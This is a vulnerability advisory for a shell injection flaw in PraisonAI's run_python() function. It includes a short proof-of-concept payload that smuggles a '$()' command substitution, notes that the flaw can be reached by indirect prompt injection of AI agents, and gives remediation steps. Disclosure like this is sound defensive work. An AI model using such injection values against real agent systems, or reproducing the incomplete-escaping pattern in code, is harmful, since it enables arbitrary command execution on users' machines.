CVE-2026-34937: PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution
Summary
runpython() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.
Details
executecommand.py:290 (source) -> executecommand.py:297 (hop) -> executecommand.py:310 (sink) python source -- user-controlled code argument def runpython(code: str, cwd=None, timeout=60):
hop -- incomplete escaping, $ and () not handled escapedcode = code.replace('\\', '\\\\').replace('"', '\\"') command = f'{pythoncmd} -c "{escapedcode}"'
sink -- shell=True expands $() before python3 runs return executecommand(command=command, cwd=cwd, timeout=timeout) # executecommand calls subprocess.run(command, shell=True, ...)
PoC python tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30) install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.code.tools.executecommand import runpython
result = runpython(code='$(id > /tmp/injected)') print(result)
verify import subprocess print(subprocess.run(['cat', '/tmp/injected'], captureoutput=True, text=True).stdout) expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Any agent pipeline or API consumer that passes user or task-supplied content to runpython() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTHENABLED = False by default when no token is configured.
Other sources
PraisonAI is a multi-agent teams system. Prior to version 1.5.90, runpython() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. This issue has been patched in version 1.5.90.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.5.90 - Upgrade
Upgrade
praisonaito a version that resolves this vulnerability.Fixed in 1.5.90 - Configuration
Set AUTH_ENABLED to enable authentication (do not leave AUTH_ENABLED = False when no token is configured) to reduce exposure of run_python() to indirect prompt injection.
PraisonAI auto-generated Flask server AUTH_ENABLED = False